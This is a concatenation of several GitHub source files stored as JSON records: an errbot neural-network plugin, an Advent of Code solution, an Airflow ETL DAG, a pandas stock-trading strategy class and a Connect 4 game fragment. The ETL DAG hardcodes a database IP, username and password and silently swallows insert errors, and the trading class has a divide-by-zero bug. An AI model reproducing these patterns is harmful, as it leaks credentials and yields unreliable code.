1)\n\t\tself.__manager.emit(\"selected-language\", language)\n\t\treturn False\n\n\tdef __delayed_emit(self):\n\t\ttry:\n\t\t\tfrom gobject import timeout_add, source_remove\n\t\t\tsource_remove(self.__timer1)\n\t\texcept AttributeError:\n\t\t\tpass\n\t\tfinally:\n\t\t\tself.__timer1 = timeout_add(250, self.__emit, priority=9999)\n\t\treturn False\n\n\tdef __destroy_cb(self, *args):\n\t\tself.__destroy()\n\t\treturn False\n\n\tdef __changed_cb(self, *args):\n\t\ttry:\n\t\t\tfrom gobject import idle_add, source_remove\n\t\t\tsource_remove(self.__timer)\n\t\texcept AttributeError:\n\t\t\tpass\n\t\tfinally:\n\t\t\tself.__timer = idle_add(self.__delayed_emit, priority=9999)\n\t\treturn False\n","repo_name":"mystilleef/scribes","sub_path":"GenericPlugins/PreferencesGUI/GUI/LanguageComboBox/LanguageEmitter.py","file_name":"LanguageEmitter.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"8643990601","text":"# -*- coding: utf-8 -*-\nfrom errbot import BotPlugin, botcmd\nfrom pandas import read_csv\nfrom pandas import concat\nfrom pybrain3.tools.shortcuts import buildNetwork\nfrom pybrain3.datasets import SupervisedDataSet\nfrom pybrain3.supervised.trainers import BackpropTrainer\nfrom pybrain3.tools.neuralnets import NNclassifier\nfrom ImportData import ImportData\nimport numpy\nimport time\nimport datetime\n\n\nclass TCC(BotPlugin):\n \"\"\"TCC da Maria Luiza\"\"\"\n\n # função para treinar a rede neural\n def treinar(self):\n self.warn_admins('Treinando a rede...')\n dataset = read_csv('data/plugins/MaluTh/tcc/saida.csv')\n \n values = dataset.values\n\n entradas = values[:, 3:9]\n\n saida = values[:, 9:10]\n\n tamanho = len(entradas)\n\n ds = SupervisedDataSet(6, 1)\n\n #self.nn = buildNetwork(6, 6, 1, bias=True)\n\n for n, s in zip(entradas, saida):\n ds.addSample(n, s)\n\n trainer = BackpropTrainer(self.nn, ds, learningrate=0.4, momentum=0.3)\n\n for i in range(0, 1000):\n n = trainer.train()\n #self.warn_admins(str(n))\n \n self.warn_admins('Treinamento finalizado')\n \n # função para coletar novos dados e ser testados pela rede neural\n @botcmd(split_args_with=None)\n def novos_dados(self):\n self.warn_admins('Novos dados... ')\n falso_positivo_alto = 0\n falso_positivo_medio = 0\n falso_positivo_baixo = 0\n \n gera_novo_dado = ImportData()\n \n newdata = read_csv('data/plugins/MaluTh/tcc/nova_saida.csv')\n \n \n total = len(newdata)\n values = newdata.values\n\n nova_entrada = values[:, :]\n\n e1 = values[:, 3:4]\n e2 = values[:, 4:5]\n e3 = values[:, 5:6]\n e4 = values[:, 6:7]\n e5 = values[:, 7:8]\n e6 = values[:, 8:9]\n\n for e1, e2, e3, e4, e5, e6 in zip(e1, e2, e3, e4, e5, e6):\n \n z = self.nn.activate((e1, e2, e3, e4, e5, e6))[0]\n \n if z > 0.5:\n if (e1 < 0.5) and (e2 < 0.5) and (e3 < 0.5) and (e4 < 0.5) and (e5 < 0.5) and (e6 < 0.5):\n falso_positivo_alto = falso_positivo_alto + 1\n elif z < 0.5 or z > 0.1:\n if (e1 > 0.5) and (e2 > 0.5) and (e3 > 0.5) and (e4 > 0.5) and (e5 > 0.5) and (e6 > 0.5):\n falso_positivo_medio = falso_positivo_medio + 1\n elif (e1 < 0.1) and (e2 < 0.1) and (e3 < 0.1) and (e4 < 0.1) and (e5 < 0.1) and (e6 < 0.1):\n falso_positivo_medio = falso_positivo_medio + 1\n elif z < 0.1: \n if (e1 > 0.1) and (e2 > 0.1) and (e3 > 0.1) and (e4 > 0.1) and (e5 > 0.1) and (e6 > 0.1):\n falso_positivo_baixo = falso_positivo_baixo + 1\n else:\n pass\n \n if z > 0.5:\n self.warn_admins('O consumo de recursos está alto em:')\n\n nova_info = [e1, e2, e3, e4, e5, e6]\n\n for linha in nova_entrada:\n if (nova_info[0] == linha[3]) and (nova_info[1] == linha[4]) and (nova_info[2] == linha[5]) and (nova_info[3] == linha[6]) and (nova_info[4] == linha[7]) and (nova_info[5] == linha[8]):\n data = datetime.date.fromtimestamp(linha[2])\n datacerta = data.strftime(\"%d/%m/%Y\")\n nova_saida = 'POD: ' + str(linha[1]) + '\\n' + 'Data: ' + str(datacerta) + '\\n' + 'container_cpu_usage_seconds_total: ' + str(linha[3]) + '\\n' + 'container_memory_usage_bytes: ' + str(linha[4]) + '\\n' + 'container_fs_reads_bytes_total: ' + str(linha[5]) + '\\n' + 'container_fs_writes_bytes_total: ' + str(linha[6]) + '\\n' + 'container_network_receive_bytes_total: ' + str(linha[7]) + '\\n' + 'container_network_transmit_bytes_total: ' + str(linha[8])\n self.warn_admins(nova_saida)\n break\n self.warn_admins('Falsos positivos: ' + str((falso_positivo_alto + falso_positivo_medio + falso_positivo_baixo)))\n erro = (falso_positivo_alto + falso_positivo_medio + falso_positivo_baixo)/total\n acerto = (1 - erro)*100\n self.warn_admins('Taxa de acerto: ' + str(acerto) + '%')\n\n # função que irá chamar as outras funções\n def activate(self):\n super().activate()\n self.nn = buildNetwork(6, 6, 1, bias=True)\n self.treinar()\n self.start_poller(3600, self.novos_dados)\n","repo_name":"MaluTh/tcc","sub_path":"tcc.py","file_name":"tcc.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19869328320","text":"from helpers.AoCHelper import *\nimport re\n\ninput = read_input_lines('day5/input1.txt')\nniceStrings = 0\nniceStrings2 = 0\n\n\ndef hasThreeVowels(string):\n return sum([string.count(v) for v in ['a', 'e', 'i', 'o', 'u']]) >= 3\n\n\ndef hasConsecutiveLetters(string):\n consecutiveLetters = False\n for i in range(len(string[:-1])):\n if string[i] == string[i+1]:\n consecutiveLetters = True\n break\n return consecutiveLetters\n\n\ndef noNaugthyStrings(string):\n return not (re.search('ab', string) or re.search('cd', string) or re.search('pq', string) or re.search('xy', string))\n\n\ndef hasAlmostNeighboursLetters(string):\n almostNeighbours = False\n for i in range(len(string[:-2])):\n if string[i] == string[i+2]:\n almostNeighbours = True\n break\n return almostNeighbours\n\ndef hasDoubleRepeats(string):\n doubleDoubles = False\n for i in range(len(string[:-2])):\n if re.search(string[i:i+2], string[i+2:]):\n print(string[i:i+2] + \" found in \" + string[i+2:])\n return True\n return doubleDoubles\n\n\nfor i in input:\n niceStrings += hasThreeVowels(i) and hasConsecutiveLetters(i) and noNaugthyStrings(i)\n niceStrings2 += hasAlmostNeighboursLetters(i) and hasDoubleRepeats(i)\n\nprint(str(niceStrings))\nprint(str(niceStrings2))","repo_name":"ducklingen/AoC","sub_path":"AoC15/Day5.py","file_name":"Day5.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11402241425","text":"from datetime import datetime, timedelta\nfrom airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import monotonically_increasing_id\n\n\nimport pymysql as mysql\n\ndefault_args = {\n 'start_date': datetime(2023, 7, 6),\n 'retries': 3,\n 'retry_delay': timedelta(minutes=5),\n}\n\ndag = DAG('extract_transform_load', default_args=default_args, schedule_interval=None)\n\n\ndef extract_data():\n spark = SparkSession.builder.appName('EtlTask').getOrCreate()\n\n # Replace with the path of your CSV file\n csv_file_path = '/opt/airflow/logs/sample.csv'\n\n # Read the CSV file into a DataFrame\n df = spark.read.csv(csv_file_path, header=True, inferSchema=True)\n\n # Save the DataFrame as a temporary table for further processing\n df.createOrReplaceTempView('extracted_data')\n\n\ndef transform_data():\n spark = SparkSession.builder.appName('EtlTask').getOrCreate()\n # Retrieve the data from the 'extracted_data' table\n extracted_data = spark.table(\"extracted_data\")\n\n # Show the data\n extracted_data.show()\n\n # Retrieve the input file path from the configuration\n\n df = spark.sql(\"SELECT * FROM extracted_data\") # Add your SQL query here\n\n # Read the transformed data from the input file into a DataFrame\n # df = spark.read.csv(input_file_path, header=True, inferSchema=True)\n\n\n # Remove duplicates\n df = df.dropDuplicates(['Name', 'IBAN'])\n\n\n # Replace with the path where you want to save the transformed data\n transformed_file_path = '/opt/airflow/logs/cleaned_file.csv'\n\n # Assign unique 'id' to any duplicated rows\n df_no_duplicates = df.withColumn('ID', monotonically_increasing_id())\n # Save the transformed data as a CSV file\n df_no_duplicates.coalesce(1).write.csv(transformed_file_path, header=True, mode='overwrite')\n\n # Pass the transformed file path to the next DAG\n return transformed_file_path\n\n\ndef load_data(**kwargs):\n\n spark = SparkSession.builder.appName('EtlTask').getOrCreate()\n\n # Retrieve the transformed file path from the previous task's output\n task_instance = kwargs['task_instance']\n transformed_file_path = task_instance.xcom_pull(task_ids='transform_data_task')\n\n # Define the MySQL connection details\n\n\n\n\n\n df = spark.read.csv(transformed_file_path, header=True, inferSchema=True)\n rows=df.collect();\n\n\n # Insert data row by row\n insert_rows(rows)\n\n\ndef insert_rows(rows):\n connection = mysql.connect(\n host='192.168.110.166',\n port=3306,\n user='sa',\n password='zZ123*321',\n db='test'\n )\n mysql_table = 'tbltest'\n cursor = connection.cursor()\n\n insert_query = f\"INSERT INTO {mysql_table} (id, name, iban) VALUES (%s, %s, %s)\"\n for row in rows:\n try:\n cursor.execute(insert_query, (row.ID, row.Name, row.IBAN))\n except Exception as e:\n print(row)\n\n connection.commit()\n cursor.close()\n connection.close()\n\n\n\nextract_data_task = PythonOperator(\n task_id='extract_data_task',\n python_callable=extract_data,\n dag=dag\n)\n\ntransform_data_task = PythonOperator(\n task_id='transform_data_task',\n python_callable=transform_data,\n dag=dag\n)\n\nload_data_task = PythonOperator(\n task_id='load_data_task',\n python_callable=load_data,\n dag=dag\n)\n\nextract_data_task >> transform_data_task >> load_data_task\n","repo_name":"EbrahimAminiSharifi/pyspark-deduplication","sub_path":"DAG/ETL.py","file_name":"ETL.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12501902667","text":"# coding: utf-8\n\nimport logging\nimport os\nimport datetime as dt\nfrom collections import OrderedDict\n\nimport pandas as pd\nimport tushare as ts\nimport numpy as np\n\nfrom mymath import *\n\n\nclass BaseScout:\n \"\"\"\n 基础策略实例\n 1. 有监控标的本身,如股票,期货等,直接交易其标的自身\n 2. 有监控指数,则要交易其对应的证券\n\n 初始化\n >>> setting = {\"path\": \"scout_data\", \"open_indexes\": \"ma\"} # 配置参数\n >>> scout = BaseScout(**setting) # 生成实例\n >>> scout.add_underlying(\"000025\") # 添加白名单\n >>> scout.update_quotation(price) # 循环更新行情\n >>> scout.get_buy_order(asset_balance) # 更新行情\n >>> scout.code, amount, exc_value(asset_balance) # 记录购买\n\n \"\"\"\n\n # 最低开仓手数\n MIN_OPEN_HAND = 3\n # 最大开仓金额比例\n MAX_OPEN_RATE = p2f(\"50%\")\n\n # 指标类型\n INDEXES_TYPE_MA = 'ma'\n INDEXES_TYPE_FPR = 'fpr' # 浮盈回撤\n\n def __init__(self, get_now, debug=False, log_handler=None, path=None, open_indexes=None, open_rate=p2f(\"2%\"),\n open_close_indexes=None,\n open_close_rate=p2f(\"-5%\")):\n \"\"\"\n :param path:\n :param open_indexes:\n :return:\n \"\"\"\n # 数据检查, 测试时使用, 生产环境时关闭,以加快速度\n self.debug = debug\n\n # 需要给定时间戳的获取方式\n self.get_now = get_now\n\n # 日志句柄\n self.log = log_handler or logging.getLogger()\n\n # 策略文件存储位置, 需要绝对路径\n self.path = path or os.path.join(os.getcwd(), \"scout_data\")\n\n # 开仓指标\n self.open_indexes = open_indexes or self.INDEXES_TYPE_MA\n\n # 开仓比例\n self.open_rate = open_rate\n\n # 首仓的清仓指标\n self.open_close_indexes = open_close_indexes or self.INDEXES_TYPE_FPR\n\n # 首仓的清仓回撤比例\n self.open_close_rate = open_close_rate\n\n self.codes_columns = OrderedDict([\n # \"index\", # 要监控价格的标的,比如股票,或者指数\n (\"code\", None), # 对应的标的,股票的话就是自身,指数的话就是对应的基金\n (\"open_ma\", None), # 采用均线作为开仓指标\n (\"close\", None), # 昨日收盘均线\n (\"open_position\", False), # True 处于开仓状态\n (\"times\", 0), # 加仓次数\n (\"exc_times\", 0), # 预期加仓次数\n (\"amount\", 0), # 持仓数量\n (\"balance\", 0), # 累积投入的资金\n (\"exc_value\", 0), # 预期本次加仓金额\n (\"av_price\", 0), # 开仓均价\n (\"close_fp\", 0), # 清仓浮盈, 可以为负数,浮盈小于这这个数值就清仓\n (\"hand_unit\", 100), # 一手的数量\n ])\n self.codes = pd.DataFrame(columns=self.codes_columns, dtype=\"int\")\n\n # 行情\n self.quotation_columns = [\"name\", \"ask1_volume\", \"ask1\", \"bid1\", \"bid1_volume\"]\n self.quotation = pd.DataFrame(columns=self.quotation_columns)\n\n def get_now(self):\n \"\"\"\n 需要重设时间戳的获取方式\n :return: datetime.datetime()\n \"\"\"\n raise ValueError(\"This function need redefine!\")\n\n def add_underlying(self, codes):\n \"\"\"\n 添加标的证券,即白名单\n 可以在任何时候添加新的白名单\n :param codes: 数组[\"000001\", \"000002\"] OR \"000001, 000002\"\n :return:\n \"\"\"\n\n if isinstance(codes, str):\n codes = [c.strip() for c in codes.split(',')]\n\n # 股票标的\n data = self.codes_columns.copy()\n data.update({\n \"code\": codes,\n })\n self.codes = self.codes.append(\n pd.DataFrame(\n data,\n index=codes,\n ),\n )\n\n # 数据类型\n self.codes.times = self.codes.times.astype(np.int16)\n self.codes.exc_times = self.codes.exc_times.astype(np.int16)\n self.codes.amount = self.codes.amount.astype(np.int32)\n\n # 重设开仓指标\n self.reset_open_indexes()\n\n def update_quotation(self, price):\n \"\"\"\n 获取行情\n :param price: 实时行情\n :return:\n \"\"\"\n # 刷新行情\n self.refresh_quotation(price)\n\n # 达到开仓条件的\n self.touch_open_indexes()\n\n # 计算开仓价格\n self.cal_open_position()\n\n def refresh_quotation(self, price):\n \"\"\"\n :param price: pd.DataFrame() 传进来之前需要根据处理好 self.quotation_columns 处理好 columns\n :return:\n \"\"\"\n\n assert isinstance(self.quotation, pd.DataFrame)\n\n if self.debug:\n assert isinstance(price, pd.DataFrame)\n if list(price.columns.values) != list(self.quotation.columns.values):\n raise ValueError(\"columns of quotation err!\")\n\n self.quotation = price.copy()\n\n def reset_open_indexes(self):\n \"\"\"\n 重设开仓指标\n 可以在任何时候重设,一般需要在开盘前重设一次\n :return:\n \"\"\"\n yesterday = self.get_now() - dt.timedelta(days=1)\n yes_str = yesterday.strftime(\"%Y-%m-%d\")\n # 从 tushare 中获取历史数据\n his = ts.get_hists(list(self.codes.index), start=yes_str, end=yes_str, pause=1)\n his = his[[\"code\", \"ma5\", \"close\"]].set_index(\"code\")\n\n if self.open_indexes == self.INDEXES_TYPE_MA:\n # 根据均线设置开仓指标\n self.codes.open_ma = his[\"ma5\"]\n self.codes.close = his[\"close\"]\n else:\n raise ValueError(\"未知的开仓指标类型 %s \" % self.open_indexes)\n\n def touch_open_indexes(self):\n \"\"\"\n 选出达到开仓条件的标的\n :return:\n \"\"\"\n quo = self.quotation\n\n assert isinstance(quo, pd.DataFrame)\n\n if self.open_indexes == self.INDEXES_TYPE_MA:\n # 合并数据\n ma = pd.merge(self.codes[[\"open_ma\", \"close\"]], quo[[\"bid1\"]], left_index=True, right_index=True)\n # 昨日收盘价 < 均线,且 买一价 > 均线\n ma[\"open_position\"] = ma.bid1 > ma.open_ma\n self.codes.open_position = ma.open_position\n if self.debug:\n open_num = ma.open_position.value_counts()[True]\n self.log.debug(\"%s 个标的达到开仓条件 \" % open_num)\n\n def cal_open_position(self):\n \"\"\"\n 计算新开仓\n :return:\n \"\"\"\n # 没有任何仓位的,才执行开仓逻辑\n open_pos = self.codes[(self.codes.times == 0) & (self.codes.open_position == True)]\n\n for code in open_pos.index:\n self.codes.loc[code, \"exc_times\"] = 1\n\n def get_buy_order(self, asset_balance):\n \"\"\"\n 需要买入的标的\n :param assert_balance: 总资产\n :return:\n \"\"\"\n codes = self.codes[self.codes.times != self.codes.exc_times]\n\n codes[\"change\"] = codes.exc_times - codes.times\n\n # 后买\n buy_codes = codes[codes.change >= 1]\n\n # 接入行情\n buy_codes = pd.merge(buy_codes, self.quotation, left_index=True, right_index=True)\n\n # 先买仓位大的, 获得一个优先级列表\n # 先获得高仓位的\n buy_priority_index = buy_codes[buy_codes.exc_times > 1]\n\n if buy_priority_index.shape[0] > 0:\n # TODO 先获得高仓位的\n pass\n else:\n # 只有新开仓的,按总市值的一定比例开仓,比如2%, 并且最低3(self.MIN_OPEN_HAND)手\n exc_value = asset_balance * self.open_rate\n exc_amount = exc_value / buy_codes.bid1\n exc_hand = exc_amount / buy_codes.hand_unit\n exc_hand = exc_hand.apply(lambda x: max(x, self.MIN_OPEN_HAND))\n exc_amount = exc_hand * buy_codes.hand_unit\n buy_codes.exc_value = exc_amount * buy_codes.bid1\n # 最大开仓规模不超过 50% 总资产\n buy_codes = buy_codes[buy_codes.exc_value <= self.MAX_OPEN_RATE * asset_balance]\n\n return buy_codes\n\n def record_buy(self, code, amount, exc_value):\n \"\"\"\n 记录已买\n :param code:\n :param amount:\n :param exc_value:\n :return:\n \"\"\"\n loc = self.codes.loc\n\n # 无论买量多少,都记为买的次数 + 1\n loc[code, \"times\"] += 1\n\n # 记录买量\n loc[code, \"amount\"] += amount\n\n # 记录投入资金\n loc[code, \"balance\"] += exc_value\n\n # 更新成本价\n loc[code, \"av_price\"] = loc[code, \"balance\"] / loc[code, \"amount\"]\n\n # 设置清仓浮盈\n if loc[code, \"times\"] == 1:\n # 首仓止损浮盈\n if self.open_close_indexes == self.INDEXES_TYPE_FPR:\n loc[code, \"close_fp\"] = - loc[code, \"balance\"] * self.open_close_rate\n\n def get_sell_order(self):\n \"\"\"\n 需要卖出的标的\n :param assert_balance: 总资产\n :return:\n \"\"\"\n codes = self.codes[self.codes.times != self.codes.exc_times]\n\n codes[\"change\"] = codes.exc_times - codes.times\n\n sell_codes = codes[codes.change < 0]\n\n # 接入行情\n sell_codes = pd.merge(sell_codes, self.quotation, left_index=True, right_index=True)\n\n # 先卖仓位大的, 获得一个优先级列表\n sell_priority_index = sell_codes[sell_codes.exc_times < -1].times.argsort()[::-1]\n\n # 排序\n sell_codes.take(sell_priority_index)\n\n return sell_codes\n\n def record_sell(self, code, amount, exc_value):\n \"\"\"\n\n :param code:\n :param amount:\n :param exc_value:\n :return:\n \"\"\"\n loc = self.codes.loc\n\n # 无论买量多少,都记为 0\n loc[code, \"times\"] = loc[code, \"exc_times\"]\n\n # 记录买量\n loc[code, \"amount\"] = max(0, loc[code, \"amount\"] - amount)\n\n # 记录投入资金\n loc[code, \"balance\"] = max(0, loc[code, \"balance\"] - exc_value)\n\n # 更新成本价\n if loc[code, \"amount\"] == 0:\n loc[code, \"av_price\"] = loc[code, \"balance\"] / loc[code, \"amount\"]\n\n # 设置清仓浮盈\n loc[code, \"close_fp\"] = self.codes_columns[\"close_fp\"]\n","repo_name":"lamter/slaveo","sub_path":"scout/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10394,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"39912241315","text":"from termcolor import cprint\nfrom functools import reduce\nimport queue\n\n\ndef ima_u_tabli(tabla, domina):\n pronadjene = list()\n # for i in range(4):\n # for j in range(4):\n # if domina[0] == tabla[i][j] and domina[1] == tabla[i][j + 1] :\n # pronadjene.append(((i, j), False, False))\n # for i in range(4):\n # for j in range(4):\n # if domina[1] == tabla[i][j] and domina[0] == tabla[i][j + 1] :\n # pronadjene.append(((i, j), False, True))\n # for i in range(3):\n # for j in range(5):\n # if domina[0] == tabla[i][j] and domina[1] == tabla[i + 1][j] :\n # pronadjene.append(((i, j), True, False))\n # for i in range(3):\n # for j in range(5):\n # if domina[1] == tabla[i][j] and domina[0] == tabla[i + 1][j] :\n # pronadjene.append(((i, j), True, True))\n for i in range(4):\n for j in range(5):\n if j < 4:\n if domina[0] == tabla[i][j] and domina[1] == tabla[i][j + 1]:\n pronadjene.append(((i, j), False, False))\n if domina[1] == tabla[i][j] and domina[0] == tabla[i][j + 1]:\n pronadjene.append(((i, j), False, True))\n if i < 3:\n if domina[0] == tabla[i][j] and domina[1] == tabla[i + 1][j]:\n pronadjene.append(((i, j), True, False))\n if domina[1] == tabla[i][j] and domina[0] == tabla[i + 1][j]:\n pronadjene.append(((i, j), True, True))\n\n return (len(pronadjene), domina, pronadjene)\n\ndef postavi_u_tabli(tabla, potez):\n nova_tabla = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]]\n for i in range(len(tabla)):\n for j in range(len(tabla[0])):\n nova_tabla[i][j] = tabla[i][j]\n (i,j) = potez[0]\n if(potez[1]):\n nova_tabla[i][j] = 'x'\n nova_tabla[i+1][j] = 'x'\n else:\n nova_tabla[i][j] = 'x'\n nova_tabla[i][j+1] = 'x'\n\n return nova_tabla\n\ndef make_tuple(tabla):\n return reduce(lambda a, b: (*a, reduce(lambda x, y: (*x, y), b, tuple())), tabla, tuple())\n\ndef make_list(tabla):\n return reduce(lambda a, b: [*a, reduce(lambda x, y: [*x, y], b, tuple())], tabla, tuple())\n\ndef pronadji_put(tabla, domine, use_heuristics=True):\n broj_proverenih_stanja = 0\n open_set = list()\n kraj = False\n svi_koraci = list()\n open_set.append((10, tabla, domine, list()))\n open_set.sort(key=lambda a : a[0])\n while len(open_set) > 0 and not kraj:\n broj_proverenih_stanja += 1\n (nova_tabla, nove_domine, heur, potezi, koraci) = (None, None, 9999, None, None)\n broj_poteza = 10\n domina = None\n index = -1\n for i in range(len(open_set)):\n (bp, nt, ds, k) = open_set[i]\n if(len(ds) == 0):\n continue\n trenutno = None\n trenutna_domina = None\n if use_heuristics:\n trenutno = ima_u_tabli(nt, ds[0])\n trenutna_domina = ds[0]\n\n for j in ds[1:]:\n t2 = ima_u_tabli(nt, j)\n if trenutno[0] > t2[0]:\n trenutno = t2\n trenutna_domina = j\n else:\n trenutna_domina = ds[0]\n trenutno = ima_u_tabli(nt, trenutna_domina)\n\n trenutne_domine = list(filter(lambda a: a != trenutna_domina, ds))\n if nova_tabla is None or trenutno[0] < heur:\n domina = trenutna_domina\n nova_tabla = nt\n nove_domine = trenutne_domine\n heur = trenutno[0]\n potezi = trenutno[2]\n koraci = k\n broj_poteza = bp\n index = i\n open_set.remove(open_set[index])\n for p in potezi:\n ntabla = postavi_u_tabli(nova_tabla, p)\n novi_koraci = koraci[:]\n novi_koraci.append((domina, p))\n open_set.append((broj_poteza-1, ntabla, nove_domine, novi_koraci))\n if( len(novi_koraci)== 10):\n kraj = True\n svi_koraci = novi_koraci\n return (svi_koraci, broj_proverenih_stanja)\n\n\ndef stampaj_tablu_po_koracima(koraci, broj_prolaza):\n poredjana_tabla = [[('_', False)]*5 for i in range(4)]\n\n for korak in koraci:\n kord = korak[1][0]\n domina = korak[0]\n poredjana_tabla[kord[0]][kord[1]] = (domina[0], True)\n if korak[1][1]:\n poredjana_tabla[kord[0]+1][kord[1]] = (domina[1], True)\n else:\n poredjana_tabla[kord[0]][kord[1]+1] = (domina[1], True)\n for i in range(len(poredjana_tabla)):\n for j in range(len(poredjana_tabla[0])):\n if poredjana_tabla[i][j][1]:\n cprint(poredjana_tabla[i][j][0],\n color=\"blue\", attrs=['bold'], end=' ')\n else:\n print(poredjana_tabla[i][j][0], end=' ')\n poredjana_tabla[i][j] = (poredjana_tabla[i][j][0], False)\n print('\\n', end='')\n print('\\n', end='')\n print(koraci)\n print(\"Broj stanja : \", broj_prolaza)\n\ntabele = list()\n\ntabele.append([\n [2, 3, 2, 2, 2],\n [3, 0, 3, 0, 0],\n [3, 0, 3, 1, 1],\n [0, 1, 1, 1, 2]\n ])\ntabele.append([\n [2, 3, 3, 0, 0],\n [2, 1, 3, 1, 0],\n [2, 0, 2, 1, 0],\n [3, 3, 1, 2, 1]\n ])\ntabele.append([\n [2, 3, 3, 0, 0],\n [2, 1, 3, 0, 0],\n [2, 1, 1, 2, 0],\n [3, 3, 1, 2, 1]\n ])\ntabele.append([\n [2, 3, 2, 2, 2],\n [3, 0, 0, 3, 0],\n [3, 0, 3, 1, 1],\n [0, 1, 1, 1, 2]\n ])\n\ntabele.append([\n [3, 0, 1, 3, 0],\n [3, 2, 1, 0, 1],\n [2, 2, 3, 1, 0],\n [1, 2, 2, 3, 0]\n ])\ndomine = [\n (3, 3), (3, 2), (3, 1), (3, 0),\n (2, 2), (2, 1), (2, 0),\n (1, 1), (1, 0),\n (0, 0)\n]\n(koraci, broj_prolaza) = pronadji_put(tabele[0], domine)\nstampaj_tablu_po_koracima(koraci, broj_prolaza)\n\nukupno_prolaza = 0\n\nfor tabela in tabele:\n (koraci, broj_prolaza) = pronadji_put(tabela, domine)\n ukupno_prolaza += broj_prolaza\n\nprint(\"Sa heuristikom srednji broj predjenih stanja : \", int(ukupno_prolaza/len(tabele)))\n\nukupno_prolaza = 0\n\nfor tabela in tabele:\n (koraci, broj_prolaza) = pronadji_put(tabela, domine, False)\n ukupno_prolaza += broj_prolaza\n\nprint(\"Bez heuristikom srednji broj predjenih stanja : \", int(ukupno_prolaza/len(tabele)))\n","repo_name":"andrijacenicelfak/vestacka-inteligencija","sub_path":"Lab4/zad10-pokusaj2.py","file_name":"zad10-pokusaj2.py","file_ext":"py","file_size_in_byte":6642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3207896032","text":"from django.contrib import admin\nfrom django.contrib.admin import ModelAdmin\nfrom django.db.models import DateTimeField, Sum, Min, Max\nfrom django.db.models.functions import Trunc\n\nfrom .models import UserSummary\n\n\n@admin.register(UserSummary)\nclass UserSummaryAdmin(ModelAdmin):\n change_list_template = 'admin/user_summary_change_list.html'\n date_hierarchy = 'date_joined'\n\n def changelist_view(self, request, extra_context=None):\n response = super().changelist_view(\n request,\n extra_context=extra_context,\n )\n print()\n try:\n qs = response.context_data['cl'].queryset\n except (AttributeError, KeyError):\n return response\n\n if 'date_joined__day' in request.GET:\n period_scale = 'hour'\n summary_over_time = qs.annotate(\n period=Trunc(\n 'date_joined',\n 'hour',\n output_field=DateTimeField(),\n ),\n ).values('period').annotate(total=Sum('id')).order_by('period')\n else:\n period_scale = 'day'\n summary_over_time = qs.annotate(\n period=Trunc(\n 'date_joined',\n 'day',\n output_field=DateTimeField(),\n ),\n ).values('period').annotate(total=Sum('id')).order_by('period')\n\n summary_range = summary_over_time.aggregate(\n low=Min('total'),\n high=Max('total'),\n )\n high = summary_range.get('high', 0)\n low = summary_range.get('low', 0)\n response.context_data['period_scale'] = period_scale\n response.context_data['summary_over_time'] = [{\n 'period': x['period'],\n 'total': x['total'] or 0,\n 'pct': (((x['total'] or 0) - low) / (high - low) * 100\n if high > low else 0),\n } for x in summary_over_time]\n\n return response\n","repo_name":"affinitydigital/django-admin-user-summary","sub_path":"django_admin_user_summary/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"37302712746","text":"\r\nimport logging\r\nimport random\r\nimport os\r\nimport json\r\nimport rich\r\nfrom rich.panel import Panel\r\nfrom rich.table import Table\r\nfrom rich.console import Console\r\nfrom colorama import Fore, Style\r\n\r\n\r\ndef main():\r\n logging.basicConfig(\r\n filename='cnct4.log',\r\n format='%(asctime)s %(message)s',\r\n datefmt='%m/%d/%Y %H:%M:%S',\r\n level=logging.INFO,\r\n )\r\n\r\n logging.info(\"App started...\")\r\n\r\n rich.print(Panel(\r\n \"Before starting, please be sure to notify me of anything that can be improved! You can contact me on\"\r\n \"[REDACTED] with any errors or suggestions. Have fun!\",\r\n title=\"Welcome\",\r\n padding=1\r\n ))\r\n\r\n header()\r\n print()\r\n\r\n show_leaderboard()\r\n print()\r\n\r\n logging.info(\"Entering game loop...\")\r\n\r\n game_loop()\r\n\r\n\r\ndef header():\r\n console = Console()\r\n\r\n style = \"bold white on #284ca9\"\r\n style2 = \"#fdca70\"\r\n\r\n console.print(\"--------------------------------------------\", style=style, justify=\"center\")\r\n console.print(\"--------------------------------------------\", style=style, justify=\"center\")\r\n console.print(\"CONNECT [white]4[/white]\", style=style, justify=\"center\")\r\n console.print(\"The Classic Vertical Four-in-a-row Game!\", style=style, justify=\"center\")\r\n console.print(\"--------------------------------------------\\n\", style=style, justify=\"center\")\r\n console.print(\"--------------------------------------------\\n\", style=style, justify=\"center\")\r\n console.print(\"Console Edition - Powered by Python!\\n\", style=style2, justify=\"center\")\r\n\r\n\r\ndef player_setup():\r\n console = Console()\r\n error_style = \"bold white on #C70017\"\r\n interrupt_style = \"bold white on #730e1d\"\r\n try:\r\n player_1 = input(\"Please input the name for\" + Fore.LIGHTGREEN_EX + \" player 1: \" + Style.RESET_ALL)\r\n if player_1 == \"\":\r\n player_1 = \"Player 1\"\r\n player_2 = input(\"Please input the name for\" + Fore.LIGHTGREEN_EX + \" player 2: \" + Style.RESET_ALL)\r\n if player_2 == \"\":\r\n player_2 = \"Player 2\"\r\n return player_1, player_2\r\n except EOFError:\r\n console.print(\"EOF ERROR: Invalid formatting. Assigning default names...\", style=error_style)\r\n logging.error(f\"ERROR: EOF. Unexpected character entered. Assigning default names...\")\r\n player_1 = \"Player 1\"\r\n player_2 = \"Player 2\"\r\n return player_1, player_2\r\n except KeyboardInterrupt:\r\n console.print(\"All right, see you later.\", style=interrupt_style)\r\n logging.warning(\"WARNING: User input CTRL + C to end program 